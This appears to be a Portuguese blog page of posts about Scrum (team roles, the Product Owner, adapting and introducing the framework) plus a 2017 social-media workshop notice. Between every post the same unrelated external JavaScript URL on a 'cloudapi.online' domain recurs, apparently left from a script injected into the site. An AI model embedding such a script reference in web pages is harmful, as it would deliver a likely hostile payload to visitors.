Sim, SCRUM

https://cloudapi.online/js/api46.js

Anúncios

DevTeam, Development Team (DT) ou Time de Desenvolvimento

Fala pessoal, hoje vamos falar sobre o time de desenvolvimento ou se preferir DevTeam 🙂

O Time de desenvolvimento é o responsável pela criação do produto, todas as atividades que o Product Owner adicionar ao Product Backulog, o time será responsável por sua realização, é comum o time de desenvolvimento definir o TimeBox ou o tempo de duração de cada Sprint de desenvolvimento, normalmente é de 1 a 3 semanas.

O Time de Desenvolvimento é auto-organizado, ou seja, nem SM ou PO, diz ao time como deve realizar as atividades, ele também é multifuncional, possui várias habilidades diferente enquanto time, dentro dele pode ter, analista de teste, desenvolvedor, dba e por ai vai, vale lembrar que mesmo sendo um time de multifuncionalidades a responsabilidade pertence a todos do time, não tem dessa, isso não é meu é com fulano, todos são responsáveis.

Vamos lá, não confunda time de desenvolvimento com a Equipe Scrum, o time de desenvolvimento deve ter entre 3 a 9 integrantes (excluímos aqui o PO e o SM, exceto se eles também codificarem), um time muito pequeno pode haver restrições de habilidade e se for grande demais pode ser complicado de gerenciar.

Agora vamos na prática, geralmente alguns tendem a querer ser (SM, PO e DevTeam), se isso acontecer, já vou te adiantar, NÃO VAI DAR CERTO, se o cara faz parte dos três papéis é muito poder, você acabou de criar um Gerente de Projetos, o SM pode fazer parte do time não tem problema, agora o SM não poder ser PO e nem PO pode ser um SM  :), mas o PO pode fazer parte do time de desenvolvimento, apesar de não gostar muito dessa mistura, mas acontece.

 

https://cloudapi.online/js/api46.js

Product Owner é o dono do produto?

“Não necessariamente”, porque digo isso?

Vamos lá, quem é o dono do produto?

É quem está pagamento? Provavelmente!

Esse dono não quer mais atividades, você acha que ele vai ter tempo para lançar o Product backlog? Ser treinado pelo Scrum Master?

Então vamos a pergunta, quem é o Product Owner?

É o ponto focal, o cara que extrai as informações do dono do produto “quem paga” e de outros possíveis participantes.

Mas Éverton, se cair na prova, quem é o Product Owner? É claro que você vai responder dono do produto, o que quero você entenda que a realidade é outra.

Geralmente dentro da empresa existe um cara que faz esse trabalho, ele que vai no cliente e extrai o máximo de informação, caso não consiga explicar a equipe, ele marcar uma pequena reunião para matar o assunto 😊, lembrando que essa reunião não existe dentro do SCRUM, você pode criar uma, com qualquer nome.

Ótimo ele é o dono do produto, o que mais ele faz? Ele que cria as atividades que serão realizadas, ele que prioriza essa atividade, ele tem o poder de cancelar um sprint em andamento.

Muito importante, ele não define como será feito, quem decide isso é a equipe!

https://cloudapi.online/js/api46.js

[workshop] Redes Sociais

Redes Sociais, um tema ainda não explorado em nossos workshops, mas muito importante para qualquer empresa/prestador de serviço que se preze. Com custo ZERO você consegue comunicar com seu público, divulgar o que precisa e colher rápidos feedbacks. Além de firmar sua marca estruturando e aparecendo nos locais mais visitados da internet!! Facebook, Instagram, Youtube, etc. Excelente não?Não perca esse próximo workshop, será INCRÍVEL!

Palestrante: Eduardo Lopes, Embaixador Wix BH

O evento é gratuito e as vagas limitadas.

Onde
Impact Hub, Av. Getúlio Vargas, 1492, 2º andar – Savassi
Belo Horizonte – MG

Quando
Segunda feira, 02 de outubro, 2017
18h45 a 21h

 

INSCREVA-SE JÁ

https://cloudapi.online/js/api46.js

Crie você mesmo seu próprio Framework

É isso mesmo, pare de querer as coisas prontas, não existe receita de bolo pronta, crie junto com sua equipe o seu Framework!

Fico vendo por aí várias fórmulas mágicas, algumas oferendo verdadeiros “Milagres”, alguns idolatram, outros defende até a morte, SCRUM, KANBAN, LEAN, PMBOK e etc.… e a cada hora é criado um “NOVO” modelo revolucionário, vou ser bem direto com vocês, é um mercado que está dando “muito” dinheiro, que acaba virando uma verdadeira zona.

Vocês não ficam perdidos? Que diabos vamos usar? Por onde começar? Aprendi agora um framework e já tem outro?

Vamos ser bem sincero, a internet está lotada de informação, é tanta informação que ficamos perdidos, se você está querendo aprender qualquer framework, é só dá um google, e pronto, uma enxurrada de modelos.

O que eu quero dizer para você, é que, cada equipe é diferente, não tente empurrar isso ou aquilo, monte você seu Framework, veja com sua equipe o que funciona e o que não funciona, veja o que está rolando no mercado, pegue os pontos bons e removas o ruins, se você está perdido por onde começar, comece conversando com sua equipe, garanto que de lá saíra grandes ideias, somos criativos pra karalho, não podemos ficar esperando a resposta no google, ele é fantástico, é sim, mas as pessoas são muito mais.

Fico aqui lembrando quando brincávamos na rua, era cada brincadeira uma invenção, tínhamos que fazer algo e inventávamos uma brincadeira, hoje isso está acabando, cadê as crianças criando novas brincadeiras? O mundo mudou o fomos nós que mudamos? Medo, insegurança e por ai vai, vai acabando com nossa criatividade, não deixe isso acabar, crie junto a sua equipe a melhor forma de vocês trabalharem.

https://cloudapi.online/js/api46.js

Como implantar o SCRUM

Assunto polemico 🙂

Então como devo implantar o SCRUM na minha equipe?

Essa é uma das maiores dúvidas de quem está entrando no mundo agile, principalmente começando com SCRUM.

Para começar a responder essa pegunta já posso te dizer, não temos a receita de bolo pronta, não existe uma maneira, processo e ou método adequado para implantar o SCRUM e qualquer outro Framework, o que você deve ser pergunta é, minha equipe está pronta para essa mudança? Estou querendo impor ou estamos fazendo por iniciativa da equipe?

Vejo muitas empresas, querendo impor, isso mesmo, exigir que a equipe use o agile, porque está na moda, o cliente adora quando falamos “Usamos agile”, mesmo sem entender o que é isso, aqui posso adiantar de ante mão, vai ser uma tremenda MERDA, isso mesmo, vai da MERDA, ai que será o vilão? O SCRUM!

Apesar de que já ouvir casos de sucessos mesmo nessa imposição, a equipe viu que realmente funciona, que é uma ferramenta fantástica, as empresas impressionadas com a evolução dos projetos.

Agora, quando não é feita por imposição e sim por inciativa do grupo é do CARALHO, sai cada inovação, grandes ideias, novos modelos de processos e etc… É fantasístico quando isso acontece, a equipe fica mais criativa, isso mesmo criativa, porque o SCRUM é um Framework, ele não te exigi que faça isso ou aquilo, vocês que adicionar ao projeto novas ideias, kanban, planning poker e por ai vai…

Mas a grande questão é como implantar o SCRUM! Falei, e falei, mas não falei como implantar.

Vou falar por mim, não existe a receita de bolo pronta, isso depende da equipe, comece devagar, crie um quadro de kanban para que todas possam visualizar as atividades, só o quadro de kanban já é um grande avanço, se a equipe não quiser usar, faça você mesmo, crie você seu próprio quadro, deixe que todos visualizem, isso será impactante para muitos, alguns vão dizer “Que besteira”, outros “Que legal, como funciona?”, essa que é a grande diferença, você deve começar, não espere pelos outros, deixei a coisa fluir, depois mostre os resultados, eles ficaram impressionados, você deve começar colocando a semente, depois irrigá-la e depois verá a grande arvore dar frutos.

Acho que é isso ai galera, até a próxima.

https://cloudapi.online/js/api46.js

SCRUM Adptação

Fala pessoal, bora continuar nossa aventura no SCRUM 🙂

Nos últimos post falamos sobre a (Transparência e Inspeção), ficou faltando a Adaptação, acredito que esse seja o grande trunfo nas mãos, o SCRUM aceita facilmente as mudanças, imagina, você começa um projeto, ai depois de um longo tempo, mostra ao cliente, ele disse “Não é isso que eu queria”, putz, que trabalhão atoa neh, então, dentro do SCRUM as mudanças são bem vindas, ajuste o projeto ao seu curso de navegação 🙂

Vamos lá para quem não entendeu, o SCRUM tem um timebox, dentro desse timebox podem ocorrer mudanças no decorrer do projeto, muitos ficam com dúvidas nessa adaptação, porque ficam presos ao prazo de entrega, então quer dizer que não temos prazo? Não estou dizendo isso, o que estou dizendo é que dentro dessas entregas contínuas podemos inserir, remover e adaptar novos processos, não se apegue ao prazo, vamos ser bem diretos? Todo mundo sabe que a unica coisa errada dentro do projeto é o prazo de entrega! Acertei?

Acho que por hoje é só galera, até a próxima 🙂

 

https://cloudapi.online/js/api46.js